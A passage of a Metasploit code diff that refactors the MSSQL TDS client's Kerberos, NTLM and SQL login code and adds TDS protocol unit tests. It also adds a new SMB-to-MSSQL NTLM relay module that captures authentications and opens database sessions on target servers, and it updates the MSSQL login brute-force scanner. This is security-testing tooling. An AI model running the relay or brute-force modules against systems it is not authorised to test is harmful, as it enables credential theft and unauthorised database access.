Option Flags 2 - 0x00, # SQL Type Flags - 0x00, # Reserved Flags - 0x00000000, # Time Zone - 0x00000000 # Collation - ].pack('VVVVVVCCCCVV') - - - cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) - uname = Rex::Text.to_unicode( user ) - pname = mssql_tds_encrypt( pass ) - aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) - sname = Rex::Text.to_unicode( rhost ) - dname = Rex::Text.to_unicode( db ) - - idx = pkt.size + 50 # lengths below - - pkt << [idx, cname.length / 2].pack('vv') - idx += cname.length - - pkt << [idx, uname.length / 2].pack('vv') - idx += uname.length - - pkt << [idx, pname.length / 2].pack('vv') - idx += pname.length - - pkt << [idx, aname.length / 2].pack('vv') - idx += aname.length - - pkt << [idx, sname.length / 2].pack('vv') - idx += sname.length - - pkt << [0, 0].pack('vv') - - pkt << [idx, aname.length / 2].pack('vv') - idx += aname.length - - pkt << [idx, 0].pack('vv') - - pkt << [idx, dname.length / 2].pack('vv') - idx += dname.length - - # The total length has to be embedded twice more here - pkt << [ - 0, - 0, - 0x12345678, - 0x12345678 - ].pack('vVVV') - - pkt << cname - pkt << uname - pkt << pname - pkt << aname - pkt << sname - pkt << aname - pkt << dname - - # Total packet length - pkt[0, 4] = [pkt.length].pack('V') - - # Embedded packet lengths - pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2 - - # Packet header and total length including header - pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt - - if self.tdsencryption == true - proxy = TDSSSLProxy.new(sock, sslkeylogfile: sslkeylogfile) - proxy.setup_ssl - resp = mssql_ssl_send_recv(pkt, proxy) - proxy.cleanup - proxy = nil - else - resp = mssql_send_recv(pkt) - end - + login_sql(user, pass, db, domain_name) end - - info = {:errors => []} - info = mssql_parse_reply(resp, info) - self.initial_connection_info = info - self.initial_connection_info[:prelogin_data] = prelogin_data - - return false if not info - info[:login_ack] ? true : false end # @@ -650,7 +316,7 @@ def peerport end def peerinfo - "#{peerhost}:#{peerport}" + Rex::Socket.to_authority(peerhost, peerport) end protected @@ -670,6 +336,170 @@ def chost def cport return nil end + + private + + def login_kerberos(user, pass, db, domain_name) + prelogin_data = mssql_prelogin + + framework_module.fail_with(Msf::Exploit::Failure::BadConfig, 'The Mssql::Rhostname option is required when using kerberos authentication.') if @hostname.blank? + kerberos_authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::MSSQL.new( + host: @domain_controller_rhost, + hostname: @hostname, + mssql_port: rport, + proxies: proxies, + realm: domain_name, + username: user, + password: pass, + framework: framework, + framework_module: framework_module, + ticket_storage: Msf::Exploit::Remote::Kerberos::Ticket::Storage::WriteOnly.new(framework: framework, framework_module: framework_module) + ) + + kerberos_result = kerberos_authenticator.authenticate + + pkt_hdr = MsTdsHeader.new( + packet_type: MsTdsType::TDS7_LOGIN, + packet_id: 1 + ) + + pkt_body = MsTdsLogin7.new( + option_flags_2: { + f_int_security: 1 + }, + server_name: rhost, + database: db + ) + + pkt_body.sspi = kerberos_result[:security_blob].bytes + + pkt_hdr.packet_length += pkt_body.num_bytes + pkt = pkt_hdr.to_binary_s + pkt_body.to_binary_s + + # Rem : One have to set check_status to false here because sql server sp0 (and maybe above) + # has a strange behavior that differs from the specifications + # upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header + # is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification + resp = mssql_send_recv(pkt, 15, false) + + info = {:errors => []} + info = mssql_parse_reply(resp, info) + self.initial_connection_info = info + self.initial_connection_info[:prelogin_data] = prelogin_data + + return false if not info + + info[:login_ack] ? true : false + end + + def login_ntlm(user, pass, db, domain_name) + prelogin_data = mssql_prelogin + + pkt_hdr = MsTdsHeader.new( + packet_type: MsTdsType::TDS7_LOGIN, + packet_id: 1 + ) + + pkt_body = MsTdsLogin7.new( + option_flags_2: { + f_int_security: 1 + }, + server_name: rhost, + database: db + ) + + ntlm_client = ::Net::NTLM::Client.new( + user, + pass, + workstation: Rex::Text.rand_text_alpha(rand(1..8)), + domain: domain_name, + ) + type1 = ntlm_client.init_context + # SQL 2012, at least, does not support KEY_EXCHANGE + type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE] + + pkt_body.sspi = type1.serialize.bytes + + pkt_hdr.packet_length += pkt_body.num_bytes + pkt = pkt_hdr.to_binary_s + pkt_body.to_binary_s + + # Rem : One have to set check_status to false here because sql server sp0 (and maybe above) + # has a strange behavior that differs from the specifications + # upon receiving the ntlm_negotiate request it send an ntlm_challenge but the status flag of the tds packet header + # is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification + if tdsencryption == true + proxy = TDSSSLProxy.new(sock, sslkeylogfile: sslkeylogfile) + proxy.setup_ssl + resp = proxy.send_recv(pkt) + else + resp = mssql_send_recv(pkt, 15, false) + end + + # Strip the TDS header + resp = resp[3..-1] + type3 = ntlm_client.init_context([resp].pack('m')) + type3_blob = type3.serialize + + # Create an SSPIMessage + pkt_hdr = MsTdsHeader.new( + type: MsTdsType::SSPI_MESSAGE, + packet_id: 1 + ) + + pkt_hdr.packet_length += type3_blob.length + pkt = pkt_hdr.to_binary_s + type3_blob + + if self.tdsencryption == true + resp = mssql_ssl_send_recv(pkt, proxy) + proxy.cleanup + else + resp = mssql_send_recv(pkt) + end + + info = {:errors => []} + info = mssql_parse_reply(resp, info) + self.initial_connection_info = info + self.initial_connection_info[:prelogin_data] = prelogin_data + + return false if not info + info[:login_ack] ? true : false + end + + def login_sql(user, pass, db, domain_name) + prelogin_data = mssql_prelogin + + pkt_hdr = MsTdsHeader.new( + packet_type: MsTdsType::TDS7_LOGIN, + packet_id: 1 + ) + + pkt_body = MsTdsLogin7.new( + server_name: rhost, + database: db, + username: user, + password: pass + ) + + pkt_hdr.packet_length += pkt_body.num_bytes + pkt = pkt_hdr.to_binary_s + pkt_body.to_binary_s + + if self.tdsencryption == true + proxy = TDSSSLProxy.new(sock, sslkeylogfile: sslkeylogfile) + proxy.setup_ssl + resp = mssql_ssl_send_recv(pkt, proxy) + proxy.cleanup + else + resp = mssql_send_recv(pkt) + end + + info = {:errors => []} + info = mssql_parse_reply(resp, info) + self.initial_connection_info = info + self.initial_connection_info[:prelogin_data] = prelogin_data + + return false if not info + info[:login_ack] ? true : false + end end end diff --git a/lib/rex/proto/mssql/client_mixin.rb b/lib/rex/proto/mssql/client_mixin.rb index 086d235966ca1..b0ce9cd19876d 100644 --- a/lib/rex/proto/mssql/client_mixin.rb +++ b/lib/rex/proto/mssql/client_mixin.rb @@ -1,9 +1,12 @@ +require 'rex/proto/ms_tds' + module Rex module Proto module MSSQL # A base mixin of useful mssql methods for parsing structures etc module ClientMixin include Msf::Module::UI::Message + include Rex::Proto::MsTds extend Forwardable def_delegators :@framework_module, :print_prefix, :print_status, :print_error, :print_good, :print_warning, :print_line # Encryption @@ -26,11 +29,11 @@ module ClientMixin TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7 # Status - STATUS_NORMAL = 0x00 - STATUS_END_OF_MESSAGE = 0x01 - STATUS_IGNORE_EVENT = 0x02 - STATUS_RESETCONNECTION = 0x08 # TDS 7.1+ - STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+ + STATUS_NORMAL = MsTdsStatus::NORMAL + STATUS_END_OF_MESSAGE = MsTdsStatus::END_OF_MESSAGE + STATUS_IGNORE_EVENT = MsTdsStatus::IGNORE_EVENT + STATUS_RESETCONNECTION = MsTdsStatus::RESETCONNECTION + STATUS_RESETCONNECTIONSKIPTRAN = MsTdsStatus::RESECCONNECTIONTRAN # Mappings for ENVCHANGE types # See the TDS Specification here: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/2b3eb7e5-d43d-4d1b-bf4d-76b9e3afc791 @@ -87,20 +90,12 @@ def mssql_print_reply(info) end def mssql_prelogin_packet - pkt = "" - pkt_hdr = "" pkt_data_token = "" pkt_data = "" - - pkt_hdr = [ - TYPE_PRE_LOGIN_MESSAGE, #type - STATUS_END_OF_MESSAGE, #status - 0x0000, #length - 0x0000, # SPID - 0x00, # PacketID - 0x00 #Window - ] + pkt_hdr = MsTdsHeader.new( + packet_type: MsTdsType::PRE_LOGIN_MESSAGE + ) version = [0x55010008, 0x0000].pack("Vv") @@ -142,9 +137,9 @@ def mssql_prelogin_packet pkt_data << instoptdata pkt_data << threadid - pkt_hdr[2] = pkt_data.length + 8 + pkt_hdr.packet_length += pkt_data.length - pkt = pkt_hdr.pack('CCnnCC') + pkt_data + pkt = pkt_hdr.to_binary_s + pkt_data pkt end @@ -203,14 +198,6 @@ def mssql_send_recv(req, timeout=15, check_status = true) resp end - # - # Encrypt a password according to the TDS protocol (encode) - # - def mssql_tds_encrypt(pass) - # Convert to unicode, swap 4 bits both ways, xor with 0xa5 - Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*") - end - def mssql_xpcmdshell(cmd, doprint=false, opts={}) force_enable = false begin @@ -382,7 +369,8 @@ def mssql_parse_tds_reply(data, info) # # Parse individual tokens from a TDS reply # - def mssql_parse_reply(data, info) + def mssql_parse_reply(data, info=nil) + info ||= {} info[:errors] = [] return if not data states = [] diff --git a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb index 2edae8ed83a43..81fc844efe766 100644 --- a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb +++ b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb @@ -52,7 +52,7 @@ def run_host(ip) username: datastore['USERNAME'] } - if datastore['USE_WINDOWS_AUTHENT'] + if datastore['DOMAIN'].present? credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN credential_data[:realm_value] = datastore['DOMAIN'] end diff --git a/modules/auxiliary/scanner/mssql/mssql_login.rb b/modules/auxiliary/scanner/mssql/mssql_login.rb index e261f5c27703b..1db69241b4478 100644 --- a/modules/auxiliary/scanner/mssql/mssql_login.rb +++ b/modules/auxiliary/scanner/mssql/mssql_login.rb @@ -71,17 +71,18 @@ def run end def run_host(ip) - print_status("#{rhost}:#{rport} - MSSQL - Starting authentication scanner.") + @print_prefix = '' # remove the redundant prefix because #print_brute will add it + print_brute level: :status, ip: ip, msg: 'MSSQL - Starting authentication scanner.' if datastore['TDSENCRYPTION'] if create_session? raise Msf::OptionValidateError.new( { - 'TDSENCRYPTION' => "Cannot create sessions when encryption is enabled. See https://github.com/rapid7/metasploit-framework/issues/18745 to vote for this feature" + 'TDSENCRYPTION' => "Cannot create sessions when encryption is enabled. See https://github.com/rapid7/metasploit-framework/issues/18745 to vote for this feature." } ) else - print_status("TDS Encryption enabled") + print_brute level: :vstatus, ip: ip, msg: 'TDS Encryption enabled' end end @@ -105,7 +106,6 @@ def run_host(ip) auth: datastore['Mssql::Auth'], domain_controller_rhost: datastore['DomainControllerRhost'], hostname: datastore['Mssql::Rhostname'], - windows_authentication: datastore['USE_WINDOWS_AUTHENT'], tdsencryption: datastore['TDSENCRYPTION'], framework: framework, framework_module: self, @@ -130,7 +130,7 @@ def run_host(ip) credential_core = create_credential(credential_data) credential_data[:core] = credential_core create_credential_login(credential_data) - print_good "#{ip}:#{rport} - Login Successful: #{result.credential}" + print_brute level: :good, ip: ip, msg: "Login Successful: #{result.credential}" successful_logins << result if create_session? @@ -144,7 +144,7 @@ def run_host(ip) end else invalidate_login(credential_data) - vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + print_brute level: :verror, ip: ip, msg: "LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end end { successful_logins: successful_logins, successful_sessions: successful_sessions } diff --git a/modules/auxiliary/server/relay/smb_to_mssql.rb b/modules/auxiliary/server/relay/smb_to_mssql.rb new file mode 100644 index 0000000000000..eec9bf1bc11c4 --- /dev/null +++ b/modules/auxiliary/server/relay/smb_to_mssql.rb @@ -0,0 +1,106 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::SMB::RelayServer + include Msf::Auxiliary::CommandShell + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Microsoft Windows SMB to MSSQL Relay', + 'Description' => %q{ + This module supports running an SMB server which validates credentials, and then attempts to execute a relay + attack against an MSSQL server on the configured RHOSTS hosts. + + If the relay succeeds, an MSSQL session to the target will be created. This can be used by any modules that + support MSSQL sessions, like `admin/mssql/mssql_enum`. The session can also be used to run arbitrary queries. + + Supports SMBv2, SMBv3, and captures NTLMv1 as well as NTLMv2 hashes. + SMBv1 is not supported - please see https://github.com/rapid7/metasploit-framework/issues/16261 + }, + 'Author' => [ + 'Spencer McIntyre' + ], + 'License' => MSF_LICENSE, + 'DefaultTarget' => 0, + 'Actions' => [ + [ 'CREATE_MSSQL_SESSION', { 'Description' => 'Create an MSSQL session' } ] + ], + 'PassiveActions' => [ 'CREATE_MSSQL_SESSION' ], + 'DefaultAction' => 'CREATE_MSSQL_SESSION', + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'Reliability' => [ REPEATABLE_SESSION ], + 'SideEffects' => [ IOC_IN_LOGS, ACCOUNT_LOCKOUTS ] + } + ) + ) + + register_options( + [ + Opt::RPORT(1433) + ] + ) + + register_advanced_options( + [ + OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]) + ] + ) + end + + def relay_targets + Msf::Exploit::Remote::SMB::Relay::TargetList.new( + :mssql, + datastore['RPORT'], + datastore['RHOSTS'], + datastore['TARGETURI'], + randomize_targets: datastore['RANDOMIZE_TARGETS'] + ) + end + + def check_options + unless framework.features.enabled?(Msf::FeatureManager::MSSQL_SESSION_TYPE) + fail_with(Failure::BadConfig, 'This module requires the `mssql_session_type` feature to be enabled. Please enable this feature using `features set mssql_session_type true`') + end + end + + def run + check_options + + start_service + print_status('Server started.') + + # Wait on the service to stop + service.wait if service + end + + def on_relay_success(relay_connection:, relay_identity:) + print_good('Relay succeeded') + session_setup(relay_connection, relay_identity) + rescue StandardError => e + elog('Failed to setup the session', error: e) + end + + # @param [Msf::Exploit::Remote::SMB::Relay::NTLM::Target::MSSQL::Client] relay_connection + # @return [Msf::Sessions::MSSQL] + def session_setup(relay_connection, relay_identity) + mssql_session = Msf::Sessions::MSSQL.new( + relay_connection.sock, + { + client: relay_connection, + **relay_connection.detect_platform_and_arch + } + ) + domain, _, username = relay_identity.partition('\\') + datastore_options = { + 'DOMAIN' => domain, + 'USERNAME' => username + } + start_session(self, nil, datastore_options, false, mssql_session.rstream, mssql_session) + end +end diff --git a/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb b/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb index 65bb56fe56ae5..76c740f888db7 100644 --- a/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb @@ -36,8 +36,6 @@ it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' it_behaves_like 'Metasploit::Framework::LoginScanner::NTLM' - it { is_expected.to respond_to :windows_authentication } - before(:each) do creds = double('Metasploit::Framework::CredentialCollection') allow(creds).to receive(:pass_file) @@ -52,32 +50,6 @@ login_scanner.cred_details = creds end - context 'validations' do - context '#windows_authentication' do - it 'is not valid for the string true' do - login_scanner.windows_authentication = 'true' - expect(login_scanner).to_not be_valid - expect(login_scanner.errors[:windows_authentication]).to include 'is not included in the list' - end - - it 'is not valid for the string false' do - login_scanner.windows_authentication = 'false' - expect(login_scanner).to_not be_valid - expect(login_scanner.errors[:windows_authentication]).to include 'is not included in the list' - end - - it 'is valid for true class' do - login_scanner.windows_authentication = true - expect(login_scanner.errors[:windows_authentication]).to be_empty - end - - it 'is valid for false class' do - login_scanner.windows_authentication = false - expect(login_scanner.errors[:windows_authentication]).to be_empty - end - end - end - context '#attempt_login' do context 'when the is a connection error' do let(:client) { instance_double(Rex::Proto::MSSQL::Client) } diff --git a/spec/lib/rex/proto/ms_tds/ms_tds_header_spec.rb b/spec/lib/rex/proto/ms_tds/ms_tds_header_spec.rb new file mode 100644 index 0000000000000..c06377179942d --- /dev/null +++ b/spec/lib/rex/proto/ms_tds/ms_tds_header_spec.rb @@ -0,0 +1,33 @@ +RSpec.describe Rex::Proto::MsTds::MsTdsHeader do + context 'when in its default state' do + let(:instance) { described_class.new } + + describe '#num_bytes' do + it 'returns the correct number of bytes' do + expect(instance.num_bytes).to eq 8 + end + end + + describe '#status' do + it 'defaults to END_OF_MESSAGE' do + expect(instance.status).to eq Rex::Proto::MsTds::MsTdsStatus::END_OF_MESSAGE + end + + it 'is a MsTdsStatus instance' do + expect(instance.status).to be_a Rex::Proto::MsTds::MsTdsStatus + end + end + + describe '#packet_type' do + it 'is a MsTdsType instance' do + expect(instance.packet_type).to be_a Rex::Proto::MsTds::MsTdsType + end + end + + describe '#packet_length' do + it 'returns the correct length' do + expect(instance.packet_length).to eq 8 + end + end + end +end \ No newline at end of file diff --git a/spec/lib/rex/proto/ms_tds/ms_tds_login7_password_spec.rb b/spec/lib/rex/proto/ms_tds/ms_tds_login7_password_spec.rb new file mode 100644 index 0000000000000..f0e8bdd43736a --- /dev/null +++ b/spec/lib/rex/proto/ms_tds/ms_tds_login7_password_spec.rb @@ -0,0 +1,55 @@ +RSpec.describe Rex::Proto::MsTds::MsTdsLogin7Password do + describe '#read' do + let(:instance) { described_class.new(read_length: 20) } + + it 'reads an encoded password' do + instance.read("\xa0\xa5\xb3\xa5\x92\xa5\x92\xa5\xd2\xa5\x53\xa5\x82\xa5\xe3\xa5\xb6\xa5\xb7\xa5".b) + expect(instance.value).to eq 'Password1!'.encode(Encoding::UTF_16LE) + end + + it 'reads an decoded password' do + instance.read("P\x00a\x00s\x00s\x00w\x00o\x00r\x00d\x001\x00!\x00".b) + expect(instance.value).to eq 'Password1!'.encode(Encoding::UTF_16LE) + end + end + + describe '#to_binary_s' do + context 'when encode is true' do + let(:instance) { described_class.new('Password1!', encode: true) } + + it 'does encode the password' do + expect(instance.to_binary_s).to eq "\xa0\xa5\xb3\xa5\x92\xa5\x92\xa5\xd2\xa5\x53\xa5\x82\xa5\xe3\xa5\xb6\xa5\xb7\xa5".b + end + end + + context 'when encode is false' do + let(:instance) { described_class.new('Password1!', encode: false) } + + it 'does not encode the password' do + expect(instance.to_binary_s).to eq "P\x00a\x00s\x00s\x00w\x00o\x00r\x00d\x001\x00!\x00".b + end + end + end + + describe '.decode' do + let(:decoded) { described_class.decode("\xa0\xa5\xb3\xa5\x92\xa5\x92\xa5\xd2\xa5\x53\xa5\x82\xa5\xe3\xa5\xb6\xa5\xb7\xa5".b) } + it 'decodes an encoded password' do + expect(decoded).to eq 'Password1!'.encode(Encoding::UTF_16LE) + end + + it 'returns the value in UTF_16LE encoding' do + expect(decoded.encoding).to eq Encoding::UTF_16LE + end + end + + describe '.encode' do + let(:encoded) { described_class.encode('Password1!') } + it 'encodes a plaintext password' do + expect(encoded).to eq "\xa0\xa5\xb3\xa5\x92\xa5\x92\xa5\xd2\xa5\x53\xa5\x82\xa5\xe3\xa5\xb6\xa5\xb7\xa5".b + end + + it 'returns the value in ASCII-8BIT encoding' do + expect(encoded.encoding).to eq Encoding::ASCII_8BIT + end + end +end \ No newline at end of file diff --git a/spec/lib/rex/proto/ms_tds/ms_tds_login7_spec.rb b/spec/lib/rex/proto/ms_tds/ms_tds_login7_spec.rb new file mode 100644 index 0000000000000..7e389c414019e --- /dev/null +++ b/spec/lib/rex/proto/ms_tds/ms_tds_login7_spec.rb @@ -0,0 +1,281 @@ +RSpec.describe Rex::Proto::MsTds::MsTdsLogin7 do + context 'when in its default state' do + let(:instance) { described_class.new } + + describe '#tds_version' do + it 'defaults to version 7.1' do + expect(instance.tds_version).to eq Rex::Proto::MsTds::MsTdsVersion::VERSION_7_1 + end + + it 'is a MsTdsVersion instance' do + expect(instance.tds_version).to be_a Rex::Proto::MsTds::MsTdsVersion + end + end + + describe '#client_prog_ver' do + it 'defaults to version 7' do + expect(instance.client_prog_ver).to eq 7 + end + end + + describe '#option_flags_1' do + describe '#f_set_lang' do + it 'defaults to 1' do + expect(instance.option_flags_1.f_set_lang).to eq 1 + end + end + + describe '#f_database' do + it 'defaults to 0' do + expect(instance.option_flags_1.f_database).to eq 0 + end + end + + describe '#f_use_db' do + it 'defaults to 1' do + expect(instance.option_flags_1.f_use_db).to eq 1 + end + end + end + + describe '#option_flags_2' do + describe '#f_int_security' do + it 'defaults to 0' do + expect(instance.option_flags_2.f_int_security).to eq 0 + end + end + + describe '#f_odbc' do + it 'defaults to 1' do + expect(instance.option_flags_2.f_odbc).to eq 1 + end + end + end + + describe '#server_name' do + it 'defaults to a random value' do + expect(instance.server_name).to be_a RubySMB::Field::String16 + expect(instance.server_name.value).to_not be_empty + end + + it 'equals the hostname' do + expect(instance.server_name).to eq instance.hostname + end + end + + describe '#hostname' do + it 'defaults to a random value' do + expect(instance.hostname).to be_a RubySMB::Field::String16 + expect(instance.hostname.value).to_not be_empty + end + + it 'equals the server name' do + expect(instance.hostname).to eq instance.server_name + end + end + + describe '#clt_int_name' do + it 'defaults to a random value' do + expect(instance.clt_int_name).to be_a RubySMB::Field::String16 + expect(instance.clt_int_name.value).to_not be_empty + end + + it 'equals the server name' do + expect(instance.app_name).to eq instance.clt_int_name + end + end + + describe '#app_name' do + it 'defaults to a random value' do + expect(instance.app_name).to be_a RubySMB::Field::String16 + expect(instance.app_name.value).to_not be_empty + end + + it 'equals the server name' do + expect(instance.app_name).to eq instance.clt_int_name + end + end + + describe '#username' do + it 'defaults to nil' do + expect(instance.username).to be_nil + end + end + + describe '#password' do + it 'defaults to nil' do + expect(instance.password).to be_nil + end + end + + describe '#language' do + it 'defaults to an empty string' do + expect(instance.language).to be_a RubySMB::Field::String16 + expect(instance.language.value).to eq '' + end + end + + describe '#database' do + it 'defaults to an empty string' do + expect(instance.database).to be_a RubySMB::Field::String16 + expect(instance.database.value).to eq '' + end + end + + describe '#client_id' do + it 'defaults to a random value' do + expect(instance.client_id).to be_a BinData::Uint8Array + expect(instance.client_id.length).to eq 6 + end + end + end + + context 'when initialized with a buffer field' do + let(:hostname) { Rex::Text.rand_text_alphanumeric(8).encode(Encoding::UTF_16LE) } + let(:instance) { described_class.new(hostname: hostname) } + + describe '#hostname' do + it 'defaults to hostname' do + expect(instance.hostname).to be_a RubySMB::Field::String16 + expect(instance.hostname.value).to eq hostname + end + end + end + + describe '.read' do + context 'when the buffer field is empty' do + let(:instance) { described_class.read([ 86, 0x71000000 ].pack('VV') + ("\x00".b * 78)) } + + describe "#hostname" do + it 'sets it to nil' do + expect(instance.hostname).to be_nil + end + end + + describe "#username" do + it 'sets it to nil' do + expect(instance.username).to be_nil + end + end + + describe "#password" do + it 'sets it to nil' do + expect(instance.password).to be_nil + end + end + + describe "#app_name" do + it 'sets it to nil' do + expect(instance.app_name).to be_nil + end + end + + describe "#server_name" do + it 'sets it to nil' do + expect(instance.server_name).to be_nil + end + end + + describe "#unused" do + it 'sets it to nil' do + expect(instance.unused).to be_nil + end + end + + describe "#extension" do + it 'sets it to nil' do + expect(instance.extension).to be_nil + end + end + + describe "#clt_int_name" do + it 'sets it to nil' do + expect(instance.clt_int_name).to be_nil + end + end + + describe "#language" do + it 'sets it to nil' do + expect(instance.language).to be_nil + end + end + + describe "#database" do + it 'sets it to nil' do + expect(instance.database).to be_nil + end + end + + describe "#sspi" do + it 'sets it to nil' do + expect(instance.sspi).to be_nil + end + end + + describe "#attach_db_file" do + it 'sets it to nil' do + expect(instance.attach_db_file).to be_nil + end + end + + describe "#change_password" do + it 'sets it to nil' do + expect(instance.change_password).to be_nil + end + end + end + + context 'when the buffer field is populated' do + context 'with fields in their natural order' do + let(:instance) do + described_class.read([ + [ 118, 0x71000000 ].pack('VV') + ("\x00".b * 32), + [ 86, 8 ].pack('vv') , + [ 102, 8 ].pack('vv'), + ("\x00".b * 38), + 'username'.encode(Encoding::UTF_16LE).force_encoding(Encoding::ASCII_8BIT), + 'password'.encode(Encoding::UTF_16LE).force_encoding(Encoding::ASCII_8BIT) + ].join) + end + + describe '#username' do + it 'is read correctly' do + expect(instance.username).to eq 'username'.encode(Encoding::UTF_16LE) + end + end + + describe '#password' do + it 'is read correctly' do + expect(instance.password).to eq 'password'.encode(Encoding::UTF_16LE) + end + end + end + + context 'with fields in their reversed order' do + # test that buffer field order doesn't matter when reading, this is important for parity with the spec + let(:instance) do + described_class.read([ + [ 118, 0x71000000 ].pack('VV') + ("\x00".b * 32), + [ 102, 8 ].pack('vv'), + [ 86, 8 ].pack('vv') , + ("\x00".b * 38), + 'password'.encode(Encoding::UTF_16LE).force_encoding(Encoding::ASCII_8BIT), + 'username'.encode(Encoding::UTF_16LE).force_encoding(Encoding::ASCII_8BIT), + ].join) + end + + describe '#username' do + it 'is read correctly' do + expect(instance.username).to eq 'username'.encode(Encoding::UTF_16LE) + end + end + + describe '#password' do + it 'is read correctly' do + expect(instance.password).to eq 'password'.encode(Encoding::UTF_16LE) + end + end + end + end + end +end \ No newline at end of file